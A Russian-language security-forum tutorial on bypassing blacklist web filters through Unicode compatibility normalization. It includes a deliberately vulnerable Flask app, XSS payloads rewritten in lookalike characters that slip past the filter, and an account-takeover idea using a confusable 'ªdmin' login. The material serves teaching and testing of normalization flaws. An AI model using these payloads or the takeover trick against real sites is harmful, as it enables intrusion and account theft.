HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 24.02.2020, 20:24
CYBRED
Новичок
Регистрация: 01.12.2019
Сообщений: 10
Провел на форуме:
2330

Репутация: 0
По умолчанию



Unicode Compatibility - это форма эквивалентности Юникода, которая гарантирует, что между символами или последовательностями символов, которые могут иметь различный внешний вид или поведение, представлен один и тот же абстрактный символ.

Например, римским цифрам соответствуют собственные символы Юникода, но они также могут быть представлены символами латинского алфавита I, V, M и так далее. При использовании совместимости, специальные символы римских цифр будут преобразованы в их эквиваленты с использованием символов латинского алфавита.

Такое поведение может открыть дверь для злоупотребления некоторыми слабыми реализациями, которые выполняют совместимость с юникодом после очистки входных данных.

Формы нормализации Юникода
Существует четыре стандартных формы нормализации:
  • NFC (Normalization Form Canonical Composition): форма нормализации канонической композицией
  • NFD (Normalization Form Canonical Decomposition): форма нормализации канонической декомпозицией
  • NFKC (Normalization Form Compatibility Composition): форма нормализации совместимой композицией
  • NFKD (Normalization Form Compatibility Decomposition): форма нормализации совместимой декомпозицией
Более подробно читайте в статье "Хитрости Unicode и эксплуатация XSS при лимите ввода длиной в 20 символов"
https://telegra.ph/Hitrosti-Unicode...-pri-limite-vvoda-dlinnoj-v-20-simvolov-12-01



NFKCи NFKDинтересны тем, что выполняют вышеназванное преобразование символов в их эквиваленты. Проверить, как работают четыре формы нормализации, можно используя следующий фрагмент кода:

import unicodedata
string = "𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃"
print ('NFC: ' + unicodedata.normalize('NFC', string))
print ('NFD: ' + unicodedata.normalize('NFD', string))
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
print ('NFKD: ' + unicodedata.normalize('NFKD', string))

Вывод:

NFC: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFD: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
NFKC: Leonishan
NFKD: Leonishan

Доказательство концепции
Чтобы продемонстрировать то, как можно обойти WAF при помощи Unicode, я развернул простое веб-приложение, отображающее имя пользователя, заданное параметром GET, если WAF не обнаруживает какой-то странный символ.
  • server.py

Python:


Код:
from
flask
import
Flask
,
abort
,
request
import
unicodedata
from
waf
import
waf

app
=
Flask
(
__name__
)
@app.route
(
'/'
)
def
Welcome_name
(
)
:
name
=
request
.
args
.
get
(
'name'
)
if
waf
(
name
)
:
abort
(
403
,
description
=
"XSS Detected"
)
else
:
name
=
unicodedata
.
normalize
(
'NFKD'
,
name
)
return
'Test XSS: '
+
name
if
__name__
==
'__main__'
:
app
.
run
(
port
=
81
)
  • waf.py

Python:


Код:
def
waf
(
input
)
:
print
(
input
)
blacklist
=
[
"~"
,
"!"
,
"@"
,
"#"
,
"$"
,
"%"
,
"^"
,
"&"
,
"*"
,
"("
,
")"
,
"_"
,
"_"
,
"+"
,
"="
,
"{"
,
"}"
,
"]"
,
"["
,
"|"
,
"\","
,
"."
,
"/"
,
"?"
,
";"
,
":"
,
""","""
,
""
]
vuln_detected
=
False
if
any
(
string
in
input
for
string
in
blacklist
)
:
vuln_detected
=
True
return
vuln_detected
Давайте проверим работу WAF на основе простого пэйлоада

Код:

  • Запрос:
Код:
GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E
  • Ответ:

Код:


Код:
HTTP/1.0 403 FORBIDDEN
Content-Type: text/html
Content-Length: 124
Server: Werkzeug/0.16.0 Python/3.8.1
Date: Wed, 19 Feb 2020 11:11:58 GMT

403 Forbidden
Forbidden
XSS Detected
WAF успешно заблокировал запрос, потому что обнаружил в нем запрещенные символы.

Строка кода

Python:


Код:
name
=
unicodedata
.
normalize
(
'NFKD'
,
name
)
Идет уже после того, как WAF проанализирует входные данные. Следовательно, если мы отправим следующую полезную нагрузку:

Код:
<img src⁼p onerror⁼'prompt⁽1⁾'﹥
WAF не обнаружит в ней ничего запрещенного, так как таких символов в черном списке у него нет (лишь их эквиваленты). А после - строка нормализуется, превратится в
Код:

и отобразится на странице.
  • Запрос:
Код:
GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5
  • Ответ:

Код:


Код:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 41

Test XSS:


Как найти эквивалентные символы
Чтобы найти полный список символов, имеющих одинаковое значение после совместимости с юникодом, можно использовать этот удивительный ресурс:
  • Find all Unicode Characters from Hieroglyphs to Dingbats – Unicode Compart
Можно найти символ и ниже - его эквивалент. Например, вот символ < - Find all Unicode Characters from Hieroglyphs to Dingbats – Unicode Compart и символы на его основе:
  • ≮ - < (U + 003C) - ◌̸ (U + 0338)
  • ﹤ - < (U+003C)
  • < - < (U+003C)
В данном случае символ ≮ не подходит, потому что он, в свою очередь, вводит символ ◌̸ (U + 0338) и сломает наш пэйлоад.

Эксплуатация других уязвимостей
Тонны пользовательских полезных нагрузок могут быть созданы при выполнении нормализации, я дам несколько идей:
  • Path Traversal

  • SQL Injection

  • Server Side Request Forgery (SSRF)

  • Open Redirect

  • XSS

  • Template Injection

  • OS Command Injection

  • Arbitrary file upload

  • Business logic
Можно попробовать поиграть с коллизиями и зарегистрировать уже существующего пользователя, тем самым сменив его пароль (ну или допустить возможность использования сразу двух паролей для одного пользователя). Возможно, как и в примере с WAF, нормализация выполняется на последнем этапе, перед внесением информации в базу данных. А, возможно, в базу внесется текст с коллизией, а на этапе авторизации произойдет нормализация и вход выполнится от имени настоящего администратора.
  • 1. Регистрируем пользователя с логином ªdmin. Такого логина нет в БД, регистрация проходит успешно.
  • 2. Пытаемся авторизоваться с логином ªdmin. Бэкэнд выполняет нормализацию и выдает результаты настоящего админа.
  • 3. Поглощение аккаунта.
Обнаружение
Для того, чтобы обнаружить наличие совместимости с юникодом, необходимо в значение какого - либо параметра подставить полезную нагрузку, содержающую эквивалентные символы из другого алфавита, и посмотреть на ответ.

Отправка
Код:
𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃
, закодированной в URL -
Код:
%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83 - дает следующий ответ:
Код:


Код:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 19

Test XSS: Leonishan
Совместимость с Юникодом выполняется

А если ответ будет таким:

Код:


Код:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 44

Test XSS: ðâð¤ðâð°ð¥ðð
Совместимость с Юникодом не выполняется

Примечание. Если вы ищите баги, используя Burp, полезная нагрузка должна быть предварительно закодирована в виде URL. Редактор Burp неправильно обрабатывает многобайтовые символы.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.